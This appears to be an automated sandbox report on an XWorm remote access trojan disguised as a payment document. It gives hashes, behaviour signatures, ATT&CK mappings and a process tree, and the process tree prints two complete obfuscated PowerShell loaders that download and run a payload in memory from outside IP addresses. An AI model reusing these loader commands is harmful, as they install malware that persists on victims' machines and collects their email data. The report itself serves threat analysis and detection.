xworm | ae07a74fad35fc9c50d6b649c9e8ba5cdf90034b09a9a22481096e6bdbc0be8e

Resubmissions

14/08/2026, 05:54

260814-gl5nwsdn7110

13/08/2026, 03:37

260813-d6r2rayzfv1

Analysis

user interaction
yes
max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 05:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment _Ad.TXT.pdf.png
Size 935KB
Sample260814-gl5nwsdn71
SHA256 ae07a74fad35fc9c50d6b649c9e8ba5cdf90034b09a9a22481096e6bdbc0be8e
MD5 875b940e05fa9c2ba05a3e7da4218161
SHA1 c0082eba7431988deff66f5394fc0bfe9ec45e8b
SHA512 5212e4af9173f8765ed9c9ef6f8cd07575a0d43e1b5be6d052b00fbdc3b3ba887a0669ea0786474b5fd3fd43c3f612a1c6e04ae4744334a1dbef6b7987ac7830
SSDEEP 768:9Vn4on5Ly49DRCVewkWh0yaV4GcmYItNDe4476+LmIBK6HoxHhPiY5JhUv4lVYoi:B2z
TLSH
T14F15BAEDD0C6F2B18391582423BB2680C861E0998AEC5FF56379072653AFDDCB79F095
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://64.224.17.122/pinmsi.png

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://192.109.139.79/stonesw.png

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4604-16-0x0000000000400000-0x000000000041C000-memory.dmp	family_xworm

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3720	3160	powershell.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5972	3160	powershell.exe	92

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3720	powershell.exe
10	5972	powershell.exe
11	5972	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scvost.lnk	Caspol.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scvost.lnk	Caspol.exe

Executes dropped EXE 1 IoCs

pid	Process
5560	CasPol.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3720	powershell.exe
5972	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4200	WScript.exe
3728	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3720 set thread context of 4604	3720	powershell.exe	95

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000_Classes\Local Settings	Caspol.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
5972	powershell.exe
5972	powershell.exe
5972	powershell.exe
4604	Caspol.exe
4604	Caspol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
4604	Caspol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe
5560	CasPol.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	4604	Caspol.exe
Token: SeDebugPrivilege	5972	powershell.exe
Token: SeDebugPrivilege	5560	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2136	conhost.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3720 wrote to memory of 4604	3720	powershell.exe	95
PID 3720 wrote to memory of 4604	3720	powershell.exe	95
PID 3720 wrote to memory of 4604	3720	powershell.exe	95
PID 3720 wrote to memory of 4604	3720	powershell.exe	95
PID 3720 wrote to memory of 4604	3720	powershell.exe	95
PID 2136 wrote to memory of 4720	2136	conhost.exe	98
PID 4604 wrote to memory of 3728	4604	Caspol.exe	99
PID 4604 wrote to memory of 5092	4604	Caspol.exe	102
PID 5092 wrote to memory of 5380	5092	csc.exe	104
PID 4604 wrote to memory of 5560	4604	Caspol.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Payment _Ad.TXT.pdf.png"
1⤵
PID:1932

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2784

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment _Ad.TXT.pdf.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
PID:4200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$fortalices=''http://64.224.17.122/pinmsi.png''; $compossibility = [System.Net.HttpWebRequest]::Create($fortalices); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($perforati)); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''3TdhsuwbBFOaVQONjY1yxxWFU2WMzvibhrsC8z4HXszohrOKQOEovx74o4PEyD+X4RtPMUOJFC0nQimtevx6/w=='',''cXvJET5B6McmcWWAAxqoKXSP83QI3NOshaqdxwZje6w='',''LBMbn54UEOWdhkP8ZpvQepmJwRXPMjV+Ai0H/h/OCXD41tXAmI7WS2xjiRB5/tdh'',''1AEzeyrtq8sD3x+MJ4v3Yds3FeUd354ViU3A7v8RC/g='',''j+RHRXhf4V6agIClJI5iojCtS7HNondZzGjfvlRRJVc='','''',''0L5w6hySP0DOZJruJ7Xtt4N5vHqO5hNbKbJeaNvk4As='',''X1RyINLC25+meCDo329PoxR3DAPxthzsLPQL19ASYVs='',''gr4JwkBB5FLl+iv3uDD3iKjcL+LtcLFs85J4uBqoCSrUobuVGi0wOqY/At/ZNQlo'',''j++LrpTSl3eTF+II15athSS1qr1nK1A475d4vv1iZU5pXHojaQ5YGcDQCMYEJ65+'',''SHTW8JOyWToTCCKeAc4bNQPrRfA/eH2obEtunVaXS4g='',''krWeb+KU/0zCjs4Od8s3javgLSUVv+4FVSmPj6QXPAs='',''XmFN6zrQDaJp7CL+NNFfS+uG+F6+jOAC6hqi5lnkY6g='',''XUUjTuhvkTspwZLSaSeqFIcUfQwNYTlEAB3iFCGw/Xg='',''vR1id1ItKoc9+hP0xPYc4wfh+A+QFjdTTRo3nLgWo3M='',''7Zc3j6LzP4tPze8juLrOx/9oTbXFrhQj3E7kR007UbQ='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3720
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Creates a file in the Startup directory
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4604
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ldmiwb.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - System Location Discovery: System Language Discovery
    PID:3728
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_444fa9d7d5cb4c7089a875d64184ba58.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2E64.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD7D32ECB10F549CEBA4CBA24187E6D2.TMP"
      4⤵
      PID:5380
- - C:\Users\Admin\AppData\Local\Temp\CasPol.exe
    "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 4604
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5560

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:4720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$polypragmatic=''http://192.109.139.79/stonesw.png''; $compossibility = [System.Net.HttpWebRequest]::Create($polypragmatic); $compossibility.UserAgent = ''Mozilla/5.0''; $sfregazzi = $compossibility.GetResponse().GetResponseStream(); $reader = New-Object IO.StreamReader($sfregazzi); $kourbash = $reader.ReadtoEnd(); $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge=[string]::IndexOf($kourbash, $lacune); $pajero=$kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic=$javaone_2008_ge+$lacune.Length; $anomocarpous=$kourbash.Substring($kourbash.IndexOf($lacune)+$lacune.Length, $pajero-($kourbash.IndexOf($lacune)+$lacune.Length)); $phassachate=$anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $cnv = [Type]::GetType((''Sys''+''tem''+''.Con''+''vert'') -join ''''); [byte[]]$hobblingly = $cnv.GetMethod((''Fr''+''omBase6''+''4St''+''ring'') -join '''').Invoke($null, ($perforati)); $bosta=[AppDomain]::(''Cu''+''rrentDomain'').GetType().GetMethod(''Lo''+''ad'', [byte[]]); $unswerving=$bosta.Invoke([AppDomain]::(''Cu''+''rrentDomain''), (,$hobblingly)); $landaulets=(''yvCBKbetqz0aBoOAs0qLTbd8HKXJ7cglhhKzBwg9it4zR/DeV+7LMghW5MkP6sS8'','''',''2OmFn12ujjSgtyFYgEAPKG6vYXlbxHtoJAsKj1FVa2G1vLW3y+HK7a7WDEt8iQ39'',''dnPGWYlUS/5mL35Odlk7ddImnGdppp0wCLOxcqb/JVs='',''t4d+/uwN6w7CFFDPgMhL32jqj3wZIaapBkaXcUiLCZo='','''',''dqqFu6gFXQS8e2U6XQhjDVUmYewgqLADTwjH28XNxcI='','''','''',''3ejutbg2eA56Hi0WyEQ9UPDl4oy2JejBRFdSpT/0AXX3VnPpm6n6zu2QZWrY4Lrk'',''DNQv++TNynNgSsAeK3jsB+/uKXgRJAmOBAey81dEmWY='',''zb4ArCm5siQEGd95QqWhf51t4uxJEZWdq8Ov9+8J8m4='',''CVItSfYQRPAz8gH90t9JrG334coZgP9gGrqsnoIVio8='','''',''ep/IdjvWWrK/RnFYpemMIGZGadi99H2SPjPL9XK0WN8='',''cuevp+EtVeS/P7aZF/4CnuzpH5X+tL0f+plxGpaZ5oo='','''','''',''''); try{$monometallist=($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy=($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null,[object[]]$landaulets)}catch{}'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2a40b8a02e2a516144ab19f97506fbe4df9d4e11ce529d8e36f1b68da29f4102
MD5 87038dab8b8778e9b9346f2c15df309b
SHA1 bb701d999239c4220c05d908a836cd6ccf4240db
SHA512 9e54f294a2c295fb2fc82a1c350de2a76bb9191c5e27f2735b13e5e1898b3261f22b6bcc0bd4dd37aa8ab021ec9d18f35d130179290e9e49eb7d2bae9c22935f
TLSH
T128218673F3CC8614DC9A403610CEAC1036B687DB409FCE5BBB84D244A42F698DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

CasPol.exe

Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
Size 5KB
SHA256 88f9842348740b064f7b19f62140d5f163391d6ecc56998cc70b162471bcb740
MD5 b87682a7ff81d79e65b8b9bf33c012b6
SHA1 a19ddcdcceba28cefac47775785e4a7a1a60321b
SHA512 194bc5c06b7e6ad5093df5e74efcb34a7c0e60e129ea8ff2d14dbb40f26ec8474bc974b484d9a065025f2ea3e60066be0505e56215792204589ed2d12e3c6011
SSDEEP 96:qdew7V9qOOoT8BynqgHlNxNEg7yKk2zNt:qv2OOWoyqgHjog70Q
TLSH
T1D7C1A34797984366D0660731B8B303512778E922AB6BABAF24F4137A2EB639009573F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES2E64.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2E64.tmp
Size 1KB
SHA256 87a3274c1c2a8c8a2905dfe42acff4e8909b9ac5ec47fbe6ed6df401cc4698e2
MD5 4aee1d00cd9f27d286b65a3106055170
SHA1 faacc7aa13e1d523e199f4554246d77a6c37d601
SHA512 429d6d8713c029b2e02a92e174fbe519ce75f2d49e5489997d8b74d82138fb7f6dde60daa36bc5a68689ab9f46ed3af48dbed7666a2153cf5c0855bd6f7a890d
TLSH
T1A241114193E84B1FE172473128F78729A674FE659EAA435D7888122F1E12740DD836B2
MD5 SHA1 SHA512 TLSH

Submit Download

ldmiwb.vbs

Path C:\Users\Admin\AppData\Local\Temp\ldmiwb.vbs
Size 926KB
SHA256 c1c1ada6f318e504545b8d776ed0bfe5a5feb68d0fd3328be424bb6a0ee14a1b
MD5 6c5ce7ac2809b1aaac56253f717b4742
SHA1 01a2c19cc0614655babda6a856cb052f8cc17909
SHA512 66da90bb59069712443fce809931cc54ba941db07a024d1a1b69825bf68c60b265db35d093cf0e3209518ba1e78d223a749509891b80f601597a92b6e0d30da0
SSDEEP 768:VBKahWBrnkyliEVwwPYjwcXLQedY04hv/N/zkpX3FC5PbDCmRKvjEPkNpYxi6u/p:OG6SwClzLh
TLSH
T12B158B46B2A666C1211F0EC15C3D787F4E63BC0332A16AF3AA0F147B7E094D997F2569
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCD7D32ECB10F549CEBA4CBA24187E6D2.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSCD7D32ECB10F549CEBA4CBA24187E6D2.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_444fa9d7d5cb4c7089a875d64184ba58.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_444fa9d7d5cb4c7089a875d64184ba58.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3720-9-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-15-0x00000181EEF40000-0x00000181EEFA0000-memory.dmp

Download

memory/3720-10-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-11-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-12-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-13-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-14-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-7-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-1-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-18-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-4-0x00000181EE9F0000-0x00000181EEA12000-memory.dmp

Download

memory/3720-0-0x00007FFE9974F000-0x00007FFE99750000-memory.dmp

Download

memory/3720-5-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-6-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/3720-8-0x00007FFE995C0000-0x00007FFE99F64000-memory.dmp

Download

memory/4604-20-0x0000000005330000-0x00000000053CC000-memory.dmp

Download

memory/4604-37-0x0000000007B20000-0x0000000007B9C000-memory.dmp

Download

memory/4604-38-0x0000000007980000-0x0000000007988000-memory.dmp

Download

memory/4604-26-0x0000000007880000-0x0000000007912000-memory.dmp

Download

memory/4604-21-0x0000000005990000-0x0000000005F4A000-memory.dmp

Download

memory/4604-19-0x00000000051D0000-0x0000000005236000-memory.dmp

Download

memory/4604-16-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/4604-50-0x00000000085F0000-0x00000000087B2000-memory.dmp

Download

memory/5560-49-0x0000000000550000-0x0000000000558000-memory.dmp

Download